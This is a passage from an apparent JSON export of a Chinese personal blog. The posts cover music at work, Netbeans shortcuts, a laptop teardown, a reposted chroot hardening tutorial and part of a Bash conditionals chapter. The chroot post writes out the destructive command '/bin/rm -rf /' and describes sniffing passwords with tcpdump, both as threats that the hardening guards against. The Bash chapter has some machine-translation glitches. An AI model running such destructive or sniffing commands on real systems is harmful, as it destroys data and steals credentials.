”，我反问：“你写不了吗？”。让我没想到的是，居然几个同事都说它们无法边听音乐边工作。。。不过我也有两个支持者表示：“不听音乐能写得下去吗？”，哈哈，这个真意思，为什么会这样呢？\n另外说到放音乐我还想起一件搞笑的事情。\n有一次我在办公室里放歌，音量开得有点大，有个湖南的同事过来这么跟我说：“把你的外音关小点”。。。\n我当时就傻了。。。“额，，，外阴？。。。”，楞了半天才反应过来，人家说的是喇叭的音量。\n这个。。我真是太邪恶了，不过还好不是只有我这么想，当时我旁边就有个同事也笑起来了。。。哈哈哈\n外音这个讲法据我那个同学说他们那（湖南的）都这么说的。。。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n最后再推荐一个听音乐的好地方，中国New Age的先驱网站，我在上头听了好多年了。\n雅燃音乐天空 www.flamesky.com\n他们的在线播放器可以从这里直接进入，24小时不间断：http://www.flamesky.com/fmp\n","permalink":"https://hessian.cn/p/114.html","summary":"我一直有边听音乐边玩电脑（上网，写程序啥的都会开着播放器）。\n昨天在办公室开着喇叭放音乐，下班时被同事问：“你一边听音乐一边写程序能写得了吗？ ”，我反问：“你写不了吗？”。让我没想到的是，居然几个同事都说它们无法边听音乐边工作。。。不过我也有两个支持者表示：“不听音乐能写得下去吗？”，哈哈，这个真意思，为什么会这样呢？\n","title":"听还是不听？这是个问题？"},{"content":"在Netbeans中提供了很多有用的功能，但是这些个功能我们通常很难从界面上去发现它，而且用鼠标去操作是效率极低的，尤其对一个资深的患有鼠标手的程序员来说，从键盘上把手移开去拿鼠标实在是一件痛苦的事情。\n下面我来跟大家分享一些我在使用Netbeans的过程中经常用到的一些好用的功能。\n注意：由于个人习惯问题，我使用的是Eclipse的快捷键配置，并且做了很多修改，因此如果你想知道在你的Netbeans中对应的功能是什么快捷键请自己打开 Tools -\u0026gt;Options-\u0026gt;Keymap 用功能名称进行查找。\n1. Go to File \u0026#8211; 打开/跳转到文件\n快捷键：Ctrl+Shift+R\n这个功能非常的有用，在开发过程中我们经常需要打开不同的文件，而在一个复杂的项目里想要快速的定位一个文件还是比较麻烦的，相比之下，使用Go to File功能的弹出窗口，你只要简单的输入文件名就可以找到你需要打开的文件，如果该文件已经打开，它还会为你跳转到相应的编辑器。\n2. Go to Type \u0026#8211; 打开/跳转到类型\n快捷键：Ctrl+Shift+T\n这个功能与Go to File非常相似，只不过他是通过类名来进行文件查找，而不是通过文件名。\n3. Select in Projects \u0026#8211; 在项目窗口中选中当前文件\n快捷键：Ctrl+Shift+1\n在我们的开发过程中通常会打开很多文件，而这些文件又可能都在不同的目录，这时如果我们想对当前正在打开的文件进行一些文件系统的操作如重命名、删除、移 动。。。就很难，因为项目窗口中可能并没有显示你当前操作的文件，你需要一个个的打开文件夹，从众多的文件中找到你想要操作的文件。而有了这个功能，你只 需要按一下快捷键，Netbeans就会为你将当前文件在项目窗口中定位并选中它。\n4. Select in Files \u0026#8211; 在文件窗口中选中当前文件\n快捷键：Ctrl+Shift+2\n效果类似Select in Projects，只不过是在文件窗口进行定位。\n5. Delete Line \u0026#8211; 删除当前行\n快捷键：Ctrl+D\n在编辑器中删除当前光标所在的行。\n6. Toggle Comment \u0026#8211; 开关注释\n快捷键：Ctrl+/\n为当前光标所在的行添加注释标记，如果已经注释过则移除注释标记。\n7. To Uppercase\n快捷键： Ctrl+Shift+X\n将选中的字母全部变为大写。\n8. To Lowercase\n快捷键：Ctrl+Shift+Y\n将选中的字母全部变为小写。\n其他一些比较通用的技巧\n用 Ctrl+左/右 可以以单词为单位移动光标，如果同时再按住Shift还可以以单词为单位进行文本选择。\nCtrl+上/下 可以在不移动光标的情况下滚动编辑器。\n","permalink":"https://hessian.cn/p/105.html","summary":"在Netbeans中提供了很多有用的功能，但是这些个功能我们通常很难从界面上去发现它，而且用鼠标去操作是效率极低的，尤其对一个资深的患有鼠标手的程序员来说，从键盘上把手移开去拿鼠标实在是一件痛苦的事情。\n","title":"如何使用Netbeans来提高开发效率"},{"content":"查看原文：http://hessian.me/?p=94\n我一直觉得自己还是当年那个十几岁就敢到处闯荡，天不怕地不怕的我，但是转眼间发现。自己原来早已经变成了另一个人。\n","permalink":"https://hessian.cn/p/568.html","summary":"查看原文：http://hessian.me/?p=94\n我一直觉得自己还是当年那个十几岁就敢到处闯荡，天不怕地不怕的我，但是转眼间发现。自己原来早已经变成了另一个人。\n","title":"突然看到百度空间里的照片，突然觉得自己果然老了"},{"content":"#带着Opera去旅行#活动的奖品到了，@Opera浏览器 发奖品的速度和浏览器速度一样快呢。衣服质量也很好，样子也很好看，没有想像中的大个LOGO，之后在背后一个很小很有爱的Opera标志。\n","permalink":"https://hessian.cn/p/80.html","summary":"#带着Opera去旅行#活动的奖品到了，@Opera浏览器 发奖品的速度和浏览器速度一样快呢。衣服质量也很好，样子也很好看，没有想像中的大个LOGO，之后在背后一个很小很有爱的Opera标志。\n","title":"Opera的奖品到了~~很不错噢"},{"content":"Oye,域名生效了,以后可以用hessian.me访问我的博客了噢\n","permalink":"https://hessian.cn/p/3.html","summary":"Oye,域名生效了,以后可以用hessian.me访问我的博客了噢\n","title":"Oye,域名生效了,以后可以用hessian.me访问我的博客了噢"},{"content":"刚把博客的评论系统换成了Disqus，主要是为了迁移方便。\n而且以后做别的什么的话也可以通用。。。不知道会不会有人喜欢\n","permalink":"https://hessian.cn/p/68.html","summary":"刚把博客的评论系统换成了Disqus，主要是为了迁移方便。\n而且以后做别的什么的话也可以通用。。。不知道会不会有人喜欢\n","title":"把博客的评论系统换成了Disqus"},{"content":"刚刚在5778上注册了个新域名 hessian.me，以后准备拿来做我的博客的专属域名。\n刚才注册申请提交以后说“由于域名的特殊性，域名并未实时成功注册。”，很郁闷，一年180呢。。。\n希望能注册成功啊。。\n","permalink":"https://hessian.cn/p/63.html","summary":"刚刚在5778上注册了个新域名 hessian.me，以后准备拿来做我的博客的专属域名。\n刚才注册申请提交以后说“由于域名的特殊性，域名并未实时成功注册。”，很郁闷，一年180呢。。。\n","title":"刚注册了个新域名，但是好像还要审核，期待ing…"},{"content":"netome.net的VPS搁置了很久了，这两天才想起来好好弄一下。 从vePortal上reload了CentOS6，又在自己机器上装了个CentOS6 Minimal做编译环境，好不容易MYSQL/PHP/NGINX都编译好了，放到服务器上调了一整天，好像没问题。\n结果刚把Wordpress装上，上传几张图片之后PHP就报内存不足了，赶紧看top。。。。。\n\u0026nbsp;\n我日。。top也打不开，内存不够了。。。无奈最后只能重启。。\n\u0026nbsp;\n经过多次检查，最后发现mysql一启动之后内存马上消失，我VPS是512M的内存，mysql一启动之后300+M就没了，可是从PS里看他内存值占用了几十兆，让我很是无法理解。\n这个问题折腾了一整天，还去问了 phpx的村长sadly，结果都没找到解决的办法。 到后来我只能猜测用编译问题来说服我自己了（TMD在我虚拟机里一点事都木有啊），为了能尽快上线，只好想装上yum里的mysql将就一下。\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/58.html","summary":"netome.net的VPS搁置了很久了，这两天才想起来好好弄一下。 从vePortal上reload了CentOS6，又在自己机器上装了个CentOS6 Minimal做编译环境，好不容易MYSQL/PHP/NGINX都编译好了，放到服务器上调了一整天，好像没问题。\n","title":"无力啊，自己编译的MYSQL有问题"},{"content":" 昨天配置服务器环境，编译了一天东西，结果发现笔记本烫的不行，一看sensors，70+\u0026deg;了，赶紧关机。 想想1年没清理过机器了，是该清理一下，于是就果断动手拆了。这里吐槽一下ACER的模具设计，TMD我清理个散热器还得把整个机器给拆了。。。太2了。。。 \u0026nbsp; 之前也没拆笔记本的经验，把能看到的螺丝钉都拆光了之后才发现根本不是从后面拆的，但是又不知道键盘这面哪还有拆的地方，后来问了度娘半天她才告诉我得先拆键盘，但是也没说清楚怎么拆。 最后经过我辛苦的尝试终于有了下面的照片。。。。\n\u0026nbsp; 键盘下面有卡子（红圈部分）所以只能从侧面或者上面撬开，按说应该从上面，因为上面有几个弹性卡子，但是我一只手搞不定。。。最后还是从右边撬开的。 拆键盘的时候一定要小心，下面有排线跟主板连着的，比较脆弱。 键盘拿掉之后就是这样了，上面两颗螺丝果断下掉。 这个口是接键盘排线的，下面那个是触摸板的排线。 这些排线插口的设计都挺精巧，键盘这个插口的上半部分是可以活动的，可以用手掰开，把排线插进去之后按下去就卡住了 \u0026nbsp; 这个网卡芯片么？ 两颗螺丝钉卸掉，把该拆的排线拆掉，拿掉面板就是这样了，主板就在这里。 拍拍主板 \u0026nbsp; 这个就是风扇了，感觉还不算太脏，不知道是不是转速不行了。 再次吐槽这个模具，设计的真的太屎了。。。居然在主板上开了个洞。。。就为了放风扇 \u0026nbsp; 贴片元件特写。。。 \u0026nbsp; MADE IN CHINA， 旁边的黑线是天线，应该是走屏幕的。 两块网卡芯片么？ \u0026nbsp; 翻开主板背面就是CPU、GPU、还有脏脏的散热器了。 到这里的时候我很悲催的发现里面有个手写的标签： 小虎 CPU、无内存、无显卡。。。。我不知道这是之前老婆拿去修的时候留在里面的还是买回来就在里头了。。。感觉就像吃了苍蝇一样恶心。 \u0026nbsp; Bridge 芯片 ╮(╯▽╰)╭\u0026middot;\u0026middot;\u0026middot; \u0026nbsp; CPU散热片+热管， 上面印着 Forceconn。。。 \u0026nbsp; 因为主板左上的位置连着显示器的排线什么的不好拆的玩意，所以我只要把笔记本翻过来放，方便操作。 拆掉散热器，露出脏脏的2+1，硅胶感觉很一般的样子。。 来个全视角 Nvidia GPU Nvidia GPU \u0026nbsp; 被我擦的噌亮的CPU。。。 \u0026nbsp; \u0026nbsp; 下面就是高温的罪魁祸首了。。。。 \u0026nbsp; \u0026nbsp; 一堆毛什的堵住了出风口，拍照的时候已经被我清理掉了一半，堵成这样温度居然才只到70多度。。我觉得已经很不容易了。。 \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; 最后清理干净之后，开机，出风口风量很大，温度稳定在50左右，室温30度，编译了几个东西，温度跑到60+，不过编译完很快就下来了。 很成功。 \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; \u0026nbsp; ","permalink":"https://hessian.cn/p/27.html","summary":" 昨天配置服务器环境，编译了一天东西，结果发现笔记本烫的不行，一看sensors，70+\u0026deg;了，赶紧关机。 想想1年没清理过机器了，是该清理一下，于是就果断动手拆了。这里吐槽一下ACER的模具设计，TMD我清理个散热器还得把整个机器给拆了。。。太2了。。。 ","title":"(图) 宏基 Acer 4741G 完全拆解"},{"content":"版权声明：转载时请以超链接形式标明文章原始出处和作者信息及本声明\nhttp://wtxawr.blogbus.com/logs/17714526.html\nCHROOT就是Change Root，也就是改变程式执行时所参考的根目录位置。\n一般的目录架构：\n/\n/bin\n/sbin\n/usr/bin\n/home\nCHROOT的目录架构：\n/hell/\n/hell/bin\n/hell/usr/bin\n/hell/home\n* 为何要CHROOT？\n1.限制被CHROOT的使用者所能执行的程式，如SetUid的程式，或是会造成Load 的 Compiler等等。\n2.防止使用者存取某些特定档案，如/etc/passwd。\n3.防止入侵者/bin/rm -rf /。\n4.提供Guest服务以及处罚不乖的使用者。\n5.增进系统的安全。\n* 要如何建立CHROOT的环境？\n1.chroot()这个function：\nchroot(PATH)这个function必须具有 root 的身份才能执行，执行後会将根目录切换到 PATH所指定的地方。\n2.login的过程：\n使用者无论是从console或是telnet进入，都必须执行/usr/bin/login来\n决定是否能进入系统，而login所做的动作大致是：\n(1)印出login的提示符号，等待使用者输入密码。\n(2)检查密码是否正确，错误的话回到(1)。\n(3)正确的话以setuid()来改变身份为login_user。\n(4)以exec()执行user的shell。\n因此我们必须先修改/usr/bin/login的source code，让login在(2)到(3)\n的中间执行chroot($CHROOT_PATH)的动作，已达到CHROOT的目的，并以修\n改过的login替代原先的/usr/bin/login。\n(5)稍微好一点的方法必须在做chroot()之前检查login\nuser的group，如果有某个特定的group(如chrootgrp)\n才执行chroot()，不然所有的人都会被chroot了。\n3.建立CHROOT所需的环境：\n(1)必须具备的目录：(假设$CHROOT为希望建立的路径)\n$CHROOT/etc $CHROOT/lib $CHROOT/bin\n$CHROOT/sbin $CHROOT/usr/lib $CHROOT/usr/bin\n$CHROOT/usr/bin $CHROOT/usr/local $CHROOT/home\n(2)仔细审查/etc中的档案，需具备执行程式时所需的档\n案，如passwd，groups，hosts，resolv.conf等等。\n(3)拿掉不想给的执行档，如su，sudo等SetUid的程式，\n以及compiler甚至telnet。\n(4)测试一下，以root身份执行 chroot $CHROOT /bin/sh\n即可进入CHROOT环境中。(man chroot for details)\n4.在console或是以telnet进入试试。\n5.Username/Password Resolve的考量：\n在CHROOT时你可能不希望被CHROOT的使用者(以後简称CHROOTer)能拿到/etc/passwd或是/etc/shadow等档案，尤其是有root密码的。以下有三种情形：\n(1)/etc/passwd跟 $CHROOT/etc/passwd相同：\n这是最差的作法，因为一来被CHROOTer有机会得到root\n的encrypted password，二来要保持/etc/passwd及\n$CHROOT/etc/passwd的同步性是个大问题。因为\n/usr/bin/login参考的是/etc/passwd，可是一旦\nCHROOTer被chroot後执行passwd时，他所执行的\npasswd所更改的将是$CHROOT/etc/passwd。\n(2)/etc/passwd跟$CHROOT/etc/passwd不同：\n你可以把$CHROOT/etc/passwd中的重要人物(如root)\n的密码拿掉，然後以比较复杂的方法修改\n/usr/bin/login：\nif (has_chroot_group) {\nre-load $CHROOT/etc/passwd\nif (password is valid) {\nchroot($CHROOT)\nexec(shell)\n} else logout()\n}\n此法的好处是你可以将/etc/passwd跟\n$CHROOT/etc/passwd分开来。/etc/passwd只影响\nCHROOTer在login时所使用的username，其他如\npassword甚至uid，gid，shell，home等等都是参\n考$CHROOT/etc/passwd的。\n缺点是你其他的daemon如ftpd，httpd都必须做相同\n的修改才能正确取的CHROOTer的资讯，而且你在把一\n个user加入或移出chroot_group时都必须更改\n/etc/passwd跟$CHROOT/etc/passwd。\n(3)使用NIS/YP：\n此法大概是最简单，且麻烦最少的了。因为一切的user\ninformation都经过NIS Bind来取得，不但可以保护住\nroot的密码，也省去/etc/passwd跟\n$CHROOT/etc/passwd同步管理上的问题。不只是\npasswd，连其他如groups，hosts，services，\naliases等等都可以一并解决。\n* 其他必须考虑的问题：\n1.执行档的同步性：\n再更新系统或是更新软体时，必须考虑到一并更换\n$CHROOT目录下的档案，尤其如SunOS或是BSD等会用\nnlist()来取得Kernel Information的，在更新kernel\n时必须更新$CHROOT下的kernel。\n2./dev的问题：\n一般而言你必须用local loopback NFS将/dev read-write mount到$CHROOT/dev以使得一般user跟CHROOTer可以互相write以及解决devices同步性的问题。\n3./proc的问题：\n在Linux或是SYSV或是4.4BSD的系统上许多程式会去\n参考/proc的资料，你必须也将/proc mount到\n$CHROOT/proc。\n4./var的问题：\n一般而言/var也是用local loopback NFS read-write\nmount到$CHROOT/var下，以解决spool同步性的问题，\n否则你可能必须要修改lpd或是sendmail等daemon，\n不然他们是不知道$CHROOT/var下也有spool的存在。\n5.Daemon的问题：\n你必须修改一些跟使用者相关的Daemon如ftpd，httpd\n以使这些daemon能找到正确的user home。\n* CHROOT无法解决的安全问题：\n1.不小心或是忘记拿掉SetUid的程式：\nCHROOTer还是有机会利用SetUid的程式来取得root的\n权限，不过因为你已经将他CHROOT了，所以所能影响到\n的只有$CHROOT/目录以下的档案，就算他来个\n\u0026#8220;/bin/rm -rf /\u0026#8221; 也不怕了。\n不过其他root能做的事还是防不了，如利用tcpdump来\n窃听该localnet中的通讯并取得在该localnet上其他\n机器的帐号密码，reboot机器，更改NIS的资料，更改\n其他没有被CHROOT的帐号的密码藉以取得一般帐号(所\n以root不可加入NIS中)等等。\n(此时就必须藉由securetty或是login.access或是将\nwheel group拿出NIS来防止其login as root)\n2.已载入记忆体中的Daemon：\n对於那些一开机就执行的程式如sendmail，httpd，\ngopherd，inetd等等，如果这些daemon有hole(如\nsendmail)，那hacker只要破解这些daemon还是可以取\n得root权限。\n* 结论：\nCHROOT可以增进系统的安全性，限制使用者能做的事，\n但是CHROOT Is Not Everything，因为还是有其他的\n漏洞等著hacker来找出来。\n","permalink":"https://hessian.cn/p/659.html","summary":"版权声明：转载时请以超链接形式标明文章原始出处和作者信息及本声明\nhttp://wtxawr.blogbus.com/logs/17714526.html\nCHROOT就是Change Root，也就是改变程式执行时所参考的根目录位置。\n一般的目录架构：\n/\n/bin\n/sbin\n/usr/bin\n/home\nCHROOT的目录架构：\n/hell/\n/hell/bin\n/hell/usr/bin\n/hell/home\n* 为何要CHROOT？\n1.限制被CHROOT的使用者所能执行的程式，如SetUid的程式，或是会造成Load 的 Compiler等等。\n2.防止使用者存取某些特定档案，如/etc/passwd。\n3.防止入侵者/bin/rm -rf /。\n4.提供Guest服务以及处罚不乖的使用者。\n5.增进系统的安全。\n* 要如何建立CHROOT的环境？\n1.chroot()这个function：\nchroot(PATH)这个function必须具有 root 的身份才能执行，执行後会将根目录切换到 PATH所指定的地方。\n2.login的过程：\n使用者无论是从console或是telnet进入，都必须执行/usr/bin/login来\n决定是否能进入系统，而login所做的动作大致是：\n(1)印出login的提示符号，等待使用者输入密码。\n(2)检查密码是否正确，错误的话回到(1)。\n(3)正确的话以setuid()来改变身份为login_user。\n(4)以exec()执行user的shell。\n因此我们必须先修改/usr/bin/login的source code，让login在(2)到(3)\n的中间执行chroot($CHROOT_PATH)的动作，已达到CHROOT的目的，并以修\n改过的login替代原先的/usr/bin/login。\n(5)稍微好一点的方法必须在做chroot()之前检查login\nuser的group，如果有某个特定的group(如chrootgrp)\n才执行chroot()，不然所有的人都会被chroot了。\n3.建立CHROOT所需的环境：\n(1)必须具备的目录：(假设$CHROOT为希望建立的路径)\n$CHROOT/etc $CHROOT/lib $CHROOT/bin\n$CHROOT/sbin $CHROOT/usr/lib $CHROOT/usr/bin\n$CHROOT/usr/bin $CHROOT/usr/local $CHROOT/home\n(2)仔细审查/etc中的档案，需具备执行程式时所需的档\n案，如passwd，groups，hosts，resolv.conf等等。\n(3)拿掉不想给的执行档，如su，sudo等SetUid的程式，\n以及compiler甚至telnet。\n(4)测试一下，以root身份执行 chroot $CHROOT /bin/sh\n即可进入CHROOT环境中。(man chroot for details)\n4.在console或是以telnet进入试试。\n5.Username/Password Resolve的考量：\n在CHROOT时你可能不希望被CHROOT的使用者(以後简称CHROOTer)能拿到/etc/passwd或是/etc/shadow等档案，尤其是有root密码的。以下有三种情形：\n(1)/etc/passwd跟 $CHROOT/etc/passwd相同：\n这是最差的作法，因为一来被CHROOTer有机会得到root\n的encrypted password，二来要保持/etc/passwd及\n$CHROOT/etc/passwd的同步性是个大问题。因为\n/usr/bin/login参考的是/etc/passwd，可是一旦\nCHROOTer被chroot後执行passwd时，他所执行的\npasswd所更改的将是$CHROOT/etc/passwd。\n(2)/etc/passwd跟$CHROOT/etc/passwd不同：\n你可以把$CHROOT/etc/passwd中的重要人物(如root)\n的密码拿掉，然後以比较复杂的方法修改\n/usr/bin/login：\nif (has_chroot_group) {\nre-load $CHROOT/etc/passwd\nif (password is valid) {\nchroot($CHROOT)\nexec(shell)\n} else logout()\n}\n此法的好处是你可以将/etc/passwd跟\n$CHROOT/etc/passwd分开来。/etc/passwd只影响\nCHROOTer在login时所使用的username，其他如\npassword甚至uid，gid，shell，home等等都是参\n考$CHROOT/etc/passwd的。\n缺点是你其他的daemon如ftpd，httpd都必须做相同\n的修改才能正确取的CHROOTer的资讯，而且你在把一\n个user加入或移出chroot_group时都必须更改\n/etc/passwd跟$CHROOT/etc/passwd。\n(3)使用NIS/YP：\n此法大概是最简单，且麻烦最少的了。因为一切的user\ninformation都经过NIS Bind来取得，不但可以保护住\nroot的密码，也省去/etc/passwd跟\n$CHROOT/etc/passwd同步管理上的问题。不只是\npasswd，连其他如groups，hosts，services，\naliases等等都可以一并解决。\n* 其他必须考虑的问题：\n1.执行档的同步性：\n再更新系统或是更新软体时，必须考虑到一并更换\n$CHROOT目录下的档案，尤其如SunOS或是BSD等会用\nnlist()来取得Kernel Information的，在更新kernel\n时必须更新$CHROOT下的kernel。\n2./dev的问题：\n一般而言你必须用local loopback NFS将/dev read-write mount到$CHROOT/dev以使得一般user跟CHROOTer可以互相write以及解决devices同步性的问题。\n3./proc的问题：\n在Linux或是SYSV或是4.4BSD的系统上许多程式会去\n参考/proc的资料，你必须也将/proc mount到\n$CHROOT/proc。\n4./var的问题：\n一般而言/var也是用local loopback NFS read-write\nmount到$CHROOT/var下，以解决spool同步性的问题，\n否则你可能必须要修改lpd或是sendmail等daemon，\n不然他们是不知道$CHROOT/var下也有spool的存在。\n5.Daemon的问题：\n你必须修改一些跟使用者相关的Daemon如ftpd，httpd\n以使这些daemon能找到正确的user home。\n* CHROOT无法解决的安全问题：\n1.不小心或是忘记拿掉SetUid的程式：\nCHROOTer还是有机会利用SetUid的程式来取得root的\n权限，不过因为你已经将他CHROOT了，所以所能影响到\n的只有$CHROOT/目录以下的档案，就算他来个\n\u0026#8220;/bin/rm -rf /\u0026#8221; 也不怕了。\n不过其他root能做的事还是防不了，如利用tcpdump来\n窃听该localnet中的通讯并取得在该localnet上其他\n机器的帐号密码，reboot机器，更改NIS的资料，更改\n其他没有被CHROOT的帐号的密码藉以取得一般帐号(所\n以root不可加入NIS中)等等。\n(此时就必须藉由securetty或是login.access或是将\nwheel group拿出NIS来防止其login as root)\n2.已载入记忆体中的Daemon：\n对於那些一开机就执行的程式如sendmail，httpd，\ngopherd，inetd等等，如果这些daemon有hole(如\nsendmail)，那hacker只要破解这些daemon还是可以取\n得root权限。\n* 结论：\nCHROOT可以增进系统的安全性，限制使用者能做的事，\n但是CHROOT Is Not Everything，因为还是有其他的\n漏洞等著hacker来找出来。\n","title":"chroot用法详解 – [linux]"},{"content":"第 7 章 条件语句 目录 7.1. 介绍if 7.1.1. 概要 7.1.2. if的简单应用 7.2. 更多if的高级使用方法 7.2.1. if/then/else结构 7.2.2. if/then/elif/else结构 7.2.3. if嵌套语句 7.2.4. 布尔操作 7.2.5. 使用exit语句和if 7.3. 使用case语句 7.3.1. 简单的条件 7.3.2. 初始脚本例子 7.4. 总结 7.5. 练习 摘要 本章我们会讨论在Bash脚本中使用条件，包含以下几个话题： if 语句 使用命令的退出状态 比较和测试输入和文件 if/then/else 结构 if/then/elif/else 结构 使用和测试位置参数 嵌套 if 语句 布尔表达式 使用 case 语句 7.1. 介绍if 7.1.1. 概要 有时候你需要指定shell脚本中的依靠命令的成功与否来实施不同过程的行为。 if 结构允许你来指定这样的条件。 最精简的 if 命令的语法是： if TEST-COMMANDS; then CONSEQUENT-COMMANDS; fi TEST-COMMAND 执行后且它的返回状态是0，那么 CONSEQUENT-COMMANDS 就执行。返回状态是最后一个命令的退出状态，或者当没有条件是真的话为0。 TEST-COMMAND 经常包括数字和字符串的比较测试，但是也可以是任何在成功时返回状态0或者失败时返回一些其他状态的一些命令。一元表达式经常用于检查文件的状态。如果对某个要素primaries， FILE 参数是 /dev/fd/N 这样的形式，那么就检查文件描述符 “N”。stdin, stdout 和 stderr 和他们各自的文件描述符也可以用于测试。 7.1.1.1. 和if使用的表达式 下表包含了一个组成 TEST-COMMAND 命令或者命令列表，称作 “要素primaries” 的概览。这些primaries放置在方括号中来表示一个条件表达式的测试。 表 7.1. 主表达式 Primary 意义 [ -a FILE ] 如果 FILE 存在则为真。 [ -b FILE ] 如果 FILE 存在且是一个块特殊文件则为真。 [ -c FILE ] 如果 FILE 存在且是一个字特殊文件则为真。 [ -d FILE ] 如果 FILE 存在且是一个目录则为真。 [ -e FILE ] 如果 FILE 存在则为真。 [ -f FILE ] 如果 FILE 存在且是一个普通文件则为真。 [ -g FILE ] 如果 FILE 存在且已经设置了SGID则为真。 [ -h FILE ] 如果 FILE 存在且是一个符号连接则为真。 [ -k FILE ] 如果 FILE 存在且已经设置了粘制位则为真。 [ -p FILE ] 如果 FILE 存在且是一个名字管道(F如果O)则为真。 [ -r FILE ] 如果 FILE 存在且是可读的则为真。 [ -s FILE ] 如果 FILE 存在且大小不为0则为真。 [ -t FD ] 如果文件描述符 FD 打开且指向一个终端则为真。 [ -u FILE ] 如果 FILE 存在且设置了SUID (set user ID)则为真。 [ -w FILE ] 如果 FILE 如果 FILE 存在且是可写的则为真。 [ -x FILE ] 如果 FILE 存在且是可执行的则为真。 [ -O FILE ] 如果 FILE 存在且属有效用户ID则为真。 [ -G FILE ] 如果 FILE 存在且属有效用户组则为真。 [ -L FILE ] 如果 FILE 存在且是一个符号连接则为真。 [ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则为真。 [ -S FILE ] 如果 FILE 存在且是一个套接字则为真。 [ FILE1 -nt FILE2 ] 如果 FILE1 has been changed more recently than FILE2, or 如果 FILE1FILE2 does not则为真。 exists and [ FILE1 -ot FILE2 ] 如果 FILE1 比 FILE2 要老, 或者 FILE2 存在且 FILE1 不存在则为真。 [ FILE1 -ef FILE2 ] 如果 FILE1 和 FILE2 指向相同的设备和节点号则为真。 [ -o OPTIONNAME ] 如果 shell选项 “OPTIONNAME” 开启则为真。 [ -z STRING ] “STRING” 的长度为零则为真。 [ -n STRING ] or [ STRING ] “STRING” 的长度为非零 non-zero则为真。 [ STRING1 == STRING2 ] 如果2个字符串相同。 “=” may be used instead of “==” for strict POSIX compliance则为真。 [ STRING1 != STRING2 ] 如果字符串不相等则为真。 [ STRING1 \u0026lt; STRING2 ] 如果 “STRING1” sorts before “STRING2” lexicographically in the current locale则为真。 [ STRING1 \u0026gt; STRING2 ] 如果 “STRING1” sorts after “STRING2” lexicographically in the current locale则为真。 [ ARG1 OP ARG2 ] “OP” is one of -eq, -ne, -lt, -le, -gt or -ge. These arithmetic binary operators return true if “ARG1” is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to “ARG2”, respectively. “ARG1” and “ARG2” are integers. 表达式可以借以下操作符组合起来，以降序列出：listed in decreasing order of precedence: 表 7.2. 组合表达式 操作 效果 [ ! EXPR ] 如果 EXPR 是false则为真。 [ ( EXPR ) ] 返回 EXPR的值。这样可以用来忽略正常的操作符优先级。 [ EXPR1 -a EXPR2 ] 如果 EXPR1 and EXPR2 全真则为真。 [ EXPR1 -o EXPR2 ] 如果 EXPR1 或者 EXPR2 为真则为真。 [ (或作 test) 内建命令对条件表达式使用一系列基于参数数量的规则来求值。更多关于这个主题的信息可以在Bash文档中查找。就像if 使用fi 来结束一样，在条件列完之后必须用\u0026#8221;\u0026gt;\u0026#8221;来结束。 7.1.1.2. 后接then语句的命令 CONSEQUENT-COMMANDS 列出了跟在 then 语句后面可以是任何有效的UNIX命令，任何可执行的程序，任何可执行的shell脚本或者任何shell语句，除了 fi. 。重要地记住 then 和 fi 在shell里面被认为是分开的语句。因此，在命令行上使用的时候，他们用分号隔开。 在脚本中，if语句的不同部分通常是良好分隔的。以下是一些简单的例子： 7.1.1.3. 检查文件 第一个例子检查一个文件是否存在： anny ~\u0026gt; cat msgcheck.sh#!/bin/bash echo \u0026#8220;This scripts checks the existence of the messages file.\u0026#8221;echo \u0026#8220;Checking\u0026#8230;\u0026#8221;if [ -f /var/log/messages ] then echo \u0026#8220;/var/log/messages exists.\u0026#8221;fiechoecho \u0026#8220;\u0026#8230;done.\u0026#8221; anny ~\u0026gt; ./msgcheck.shThis scripts checks the existence of the messages file.Checking\u0026#8230;/var/log/messages exists. \u0026#8230;done.\n7.1.1.4. 检查shell选项 加入到你的Bash配置文件中去： # These lines will print a message if the noclobber option is set: if [ -o noclobber ] then echo \u0026#8220;Your files are protected against accidental overwriting using redirection.\u0026#8221;fi 环境 以上的例子将在命令行输入后开始工作： anny ~\u0026gt; if [ -o noclobber ] ; then echo ; echo \"your files are protectedagainst overwriting.\" ; echo ; fi your files are protected against overwriting. anny ~\u0026gt;\n然而，如果你使用依赖环境的测试，当你在脚本中输入相同的命令你可能得到不用的结果，因为脚本会打开一个新的，没有设置预期的变量和选项的shell。 7.1.2. if的简单应用 7.1.2.1. 测试退出状态 ? 变量包含了之前执行命令的退出状态（最近完成的前台进程）。 以下的例子显示了一个简单的测试： anny ~\u0026gt; if [ $? -eq 0 ]More input\u0026gt; then echo 'That was a good job!'More input\u0026gt; fiThat was a good job! anny ~\u0026gt;\n以下的例子证明了 TEST-COMMANDS 可以是任何有返回和退出状态的UNIX命令，之后 if 再次返回零的退出状态： anny ~\u0026gt; if ! grep $USER /etc/passwdMore input\u0026gt; then echo \"your user account is not managed locally\"; fiyour user account is not managed locally anny \u0026gt; echo $?0 anny \u0026gt;\n以下能得到同样的结果： anny \u0026gt; grep $USER /etc/passwd anny \u0026gt; if [ $? -ne 0 ] ; then echo \"not a local account\" ; finot a local account anny \u0026gt;\n7.1.2.2. 数字的比较 以下的例子是用了数值的比较： anny \u0026gt; num=`wc -l work.txt` anny \u0026gt; echo $num201 anny \u0026gt; if [ \"$num\" -gt \"150\" ]More input\u0026gt; then echo ; echo \"you've worked hard enough for today.\"More input\u0026gt; echo ; fi you\u0026#8217;ve worked hard enough for today. anny \u0026gt;\n这个脚本在每个星期天由cron来执行。如果星期的数是偶数，他就提醒你把垃圾箱清理： #!/bin/bash # Calculate the week number using the date command: WEEKOFFSET=$[ $(date +\u0026#8221;%V\u0026#8221;) % 2 ] # Test if we have a remainder. If not, this is an even week so send a message.# Else, do nothing. if [ $WEEKOFFSET -eq \u0026#8220;0\u0026#8221; ]; then echo \u0026#8220;Sunday evening, put out the garbage cans.\u0026#8221; | mail -s \u0026#8220;Garbage cans out\u0026#8221; your@your_domain.org 7.1.2.3. 字符串比较 一个通过比较字符串来测试用户ID的例子： if [ \u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; ]; then echo \u0026#8220;You have no permission to run $0 as non-root user.\u0026#8221; exit 1;fi\n使用Bash，你可以缩短这样的结构。下面是以上测试的精简结构： [ 